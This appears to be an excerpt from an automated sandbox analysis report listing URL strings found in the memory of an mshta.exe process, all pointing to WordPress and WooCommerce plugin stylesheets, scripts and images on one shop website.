Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E0B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E156000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.7
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E156000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.7C:
Source: mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.7S
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E0B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.7d
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7.7
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7.7
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/duracelltomi-google-tag-manager/js/gtm4wp-contact-form-7-tra
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290590957.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291302874.00000134705F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.73.
Source: mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7=
Source: mshta.exe, 00000004.00000002.3291302874.00000134705F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7C:
Source: mshta.exe, 00000004.00000002.3290590957.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.0000013470411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7j
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7m
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E0DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7%s
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7.js
Source: mshta.exe, 00000004.00000003.2283680885.000001347071E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291456573.000001347071E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.70
Source: mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.73.1
Source: mshta.exe, 00000004.00000002.3291302874.00000134705F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.77-trac
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7C:
Source: mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7_
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7er=2.3
Source: mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7o
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules/v2/Assets/Css/customize-table.css?ver=2.3
Source: mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules/v2/Assets/Js/awdr-dynamic-price.js?ver=2.
Source: mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.8
Source: mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.8A
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.8C:
Source: mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.8f
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347037B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2
Source: mshta.exe, 00000004.00000003.2148849104.00000134703A5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2-
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2.wooco
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2:
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2C:
Source: mshta.exe, 00000004.00000002.3290475443.0000013470330000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2F
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2contai
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2ht:
Source: mshta.exe, 00000004.00000002.3290475443.0000013470330000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2s
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.3.4.2yment_
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.2
Source: mshta.exe, 00000004.00000002.3290590957.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.0000013470411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.2&
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.21.3.
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.2C:
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.2e
Source: mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.2g
Source: mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290688605.0000013470424000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.2r
Source: mshta.exe, 00000004.00000002.3290590957.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.3.4.2th:
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_author/css/by_author.css?
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_author/js/by_author.js?ve
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_instock/css/by_instock.cs
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_instock/js/by_instock.js?
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_onsales/css/by_onsales.cs
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_onsales/js/by_onsales.js?
Source: mshta.exe, 00000004.00000002.3290715017.0000013470449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_text/
Source: mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E156000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_text/assets/css/front.css
Source: mshta.exe, 00000004.00000002.3291040038.0000013470542000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290715017.0000013470449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_text/assets/img/ajax-load
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_text/assets/js/front.js?v
Source: mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/by_text/assets/js/husky.js?v
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/front_builder/css/front-buil
Source: mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/label/css/html_types/label.c
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/label/js/html_types/label.js
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/quick_search/css/quick_searc
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/sections/css/sections.css?ve
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/sections/js/sections.js?ver=
Source: mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/select_radio_check/css/html_
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/select_radio_check/js/html_t
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/slideout/css/jquery.tabSlide
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/slideout/css/slideout.css?ve
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/slideout/js/jquery.tabSlideO
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/slideout/js/slideout.js?ver=
Source: mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/front.css
Source: mshta.exe, 00000004.00000003.2148398104.00000134703C4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284176018.00000134703BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/tooltip.c
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/js/front.js?v
Source: mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/img/delete.png
Source: mshta.exe, 00000004.00000003.2284096124.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290562334.000001347039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347039C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/img/delete.png)
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/img/delete.png);background-size:
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/img/minus.svg
Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-content/plugins/woocommerce-products-filter/img/plus.svg
